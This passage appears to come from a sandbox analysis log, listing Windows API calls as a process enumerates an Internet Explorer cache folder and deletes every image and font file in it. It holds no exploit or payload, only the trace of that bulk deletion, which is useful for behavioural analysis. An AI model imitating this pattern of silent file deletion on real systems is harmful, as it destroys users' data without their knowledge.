ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x86e6, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="b2fd15[2].eot", cAlternateFileName="B2FD15~2.EOT")) returned 1 [0105.011] lstrlenW (lpString="b2fd15[2].eot") returned 13 [0105.011] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="b2fd15[2].eot" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\b2fd15[2].eot") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\b2fd15[2].eot" [0105.011] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\b2fd15[2].eot" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\b2fd15[2].eot")) returned 1 [0105.011] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1aaba240, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aaba240, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aaba240, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x310, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BB46JmN[1].png", cAlternateFileName="BB46JM~1.PNG")) returned 1 [0105.012] lstrlenW (lpString="BB46JmN[1].png") returned 14 [0105.012] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BB46JmN[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BB46JmN[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BB46JmN[1].png" [0105.012] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BB46JmN[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bb46jmn[1].png")) returned 1 [0105.012] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc15d600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc15d600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc15d600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BB56XTo[1].png", cAlternateFileName="BB56XT~1.PNG")) returned 1 [0105.012] lstrlenW (lpString="BB56XTo[1].png") returned 14 [0105.012] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BB56XTo[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BB56XTo[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BB56XTo[1].png" [0105.012] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BB56XTo[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bb56xto[1].png")) returned 1 [0105.012] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb8e27a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb8e27a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb8e27a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BB8AdqN[1].png", cAlternateFileName="BB8ADQ~1.PNG")) returned 1 [0105.012] lstrlenW (lpString="BB8AdqN[1].png") returned 14 [0105.012] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BB8AdqN[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BB8AdqN[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BB8AdqN[1].png" [0105.012] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BB8AdqN[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bb8adqn[1].png")) returned 1 [0105.017] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbda53a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbda53a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbe63a80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x152c, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBALZyp[1].jpg", cAlternateFileName="BBALZY~1.JPG")) returned 1 [0105.017] lstrlenW (lpString="BBALZyp[1].jpg") returned 14 [0105.017] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBALZyp[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBALZyp[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBALZyp[1].jpg" [0105.017] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBALZyp[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbalzyp[1].jpg")) returned 1 [0105.017] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc300520, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc300520, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc300520, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x697, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBBLj61[1].jpg", cAlternateFileName="BBBLJ6~1.JPG")) returned 1 [0105.017] lstrlenW (lpString="BBBLj61[1].jpg") returned 14 [0105.017] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBBLj61[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBBLj61[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBBLj61[1].jpg" [0105.017] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBBLj61[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbblj61[1].jpg")) returned 1 [0105.018] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbb43da0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbb43da0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbb43da0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1d34, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDAUkm[1].jpg", cAlternateFileName="BBDAUK~1.JPG")) returned 1 [0105.018] lstrlenW (lpString="BBDAUkm[1].jpg") returned 14 [0105.018] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDAUkm[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDAUkm[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDAUkm[1].jpg" [0105.018] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDAUkm[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdaukm[1].jpg")) returned 1 [0105.018] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbd0ce20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbd0ce20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbd0ce20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x27fa, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDE29T[1].jpg", cAlternateFileName="BBDE29~1.JPG")) returned 1 [0105.018] lstrlenW (lpString="BBDE29T[1].jpg") returned 14 [0105.018] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDE29T[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDE29T[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDE29T[1].jpg" [0105.018] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDE29T[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbde29t[1].jpg")) returned 1 [0105.019] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbc748a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbc748a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbc748a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2536, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDFK8W[1].jpg", cAlternateFileName="BBDFK8~1.JPG")) returned 1 [0105.019] lstrlenW (lpString="BBDFK8W[1].jpg") returned 14 [0105.019] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDFK8W[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFK8W[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFK8W[1].jpg" [0105.019] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFK8W[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdfk8w[1].jpg")) returned 1 [0105.019] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc15d600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc15d600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc1cfa20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1e571, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDFLTH[1].png", cAlternateFileName="BBDFLT~1.PNG")) returned 1 [0105.019] lstrlenW (lpString="BBDFLTH[1].png") returned 14 [0105.019] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDFLTH[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFLTH[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFLTH[1].png" [0105.019] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFLTH[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdflth[1].png")) returned 1 [0105.019] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd5577700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd5577700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd5577700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2cb8, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDFqfK[1].jpg", cAlternateFileName="BBDFQF~1.JPG")) returned 1 [0105.019] lstrlenW (lpString="BBDFqfK[1].jpg") returned 14 [0105.019] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDFqfK[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFqfK[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFqfK[1].jpg" [0105.019] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFqfK[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdfqfk[1].jpg")) returned 1 [0105.020] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbb1dc40, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbb1dc40, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbb1dc40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2fd5, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDFQm5[1].jpg", cAlternateFileName="BBDFQM~1.JPG")) returned 1 [0105.020] lstrlenW (lpString="BBDFQm5[1].jpg") returned 14 [0105.020] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDFQm5[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFQm5[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFQm5[1].jpg" [0105.020] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDFQm5[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdfqm5[1].jpg")) returned 1 [0105.020] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe4334c40, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xe4334c40, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xe435ada0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x34aa, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDJGZ2[1].jpg", cAlternateFileName="BBDJGZ~1.JPG")) returned 1 [0105.020] lstrlenW (lpString="BBDJGZ2[1].jpg") returned 14 [0105.020] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDJGZ2[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJGZ2[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJGZ2[1].jpg" [0105.020] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJGZ2[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdjgz2[1].jpg")) returned 1 [0105.020] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ab527c0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ab527c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab527c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x6d5, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDJIsX[1].jpg", cAlternateFileName="BBDJIS~1.JPG")) returned 1 [0105.021] lstrlenW (lpString="BBDJIsX[1].jpg") returned 14 [0105.021] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDJIsX[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJIsX[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJIsX[1].jpg" [0105.021] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJIsX[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdjisx[1].jpg")) returned 1 [0105.021] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbc4e740, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbc4e740, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbc4e740, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa23, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDJKj6[1].jpg", cAlternateFileName="BBDJKJ~1.JPG")) returned 1 [0105.021] lstrlenW (lpString="BBDJKj6[1].jpg") returned 14 [0105.021] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDJKj6[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJKj6[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJKj6[1].jpg" [0105.021] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJKj6[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdjkj6[1].jpg")) returned 1 [0105.021] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbbdc320, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbbdc320, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbbdc320, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xb19, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDJTA8[1].jpg", cAlternateFileName="BBDJTA~1.JPG")) returned 1 [0105.021] lstrlenW (lpString="BBDJTA8[1].jpg") returned 14 [0105.021] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDJTA8[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJTA8[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJTA8[1].jpg" [0105.021] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJTA8[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdjta8[1].jpg")) returned 1 [0105.022] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc15d600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc15d600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc15d600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x847, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDJYPA[1].jpg", cAlternateFileName="BBDJYP~1.JPG")) returned 1 [0105.022] lstrlenW (lpString="BBDJYPA[1].jpg") returned 14 [0105.022] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", pszFile="BBDJYPA[1].jpg" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJYPA[1].jpg") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJYPA[1].jpg" [0105.022] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3\\BBDJYPA[1].jpg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\xevk8zw3\\bbdjypa[1].jpg")) returned 1 [0105.022] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91a50 | out: lpFindFileData=0x9a91a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50bb1c80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x50bb1c80, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x50bd7de0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x91fb, dwReserved0=0x700041, dwReserved1=0x440070, cFileName="BBDK03h[1].jpg", cAlternateFileName="BBDK03~1.JPG")) returned 1 [0105.022] lstrlenW (lpString="BBDK03h[1].jpg") returned 14 [0105.022] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\XEVK8ZW3", 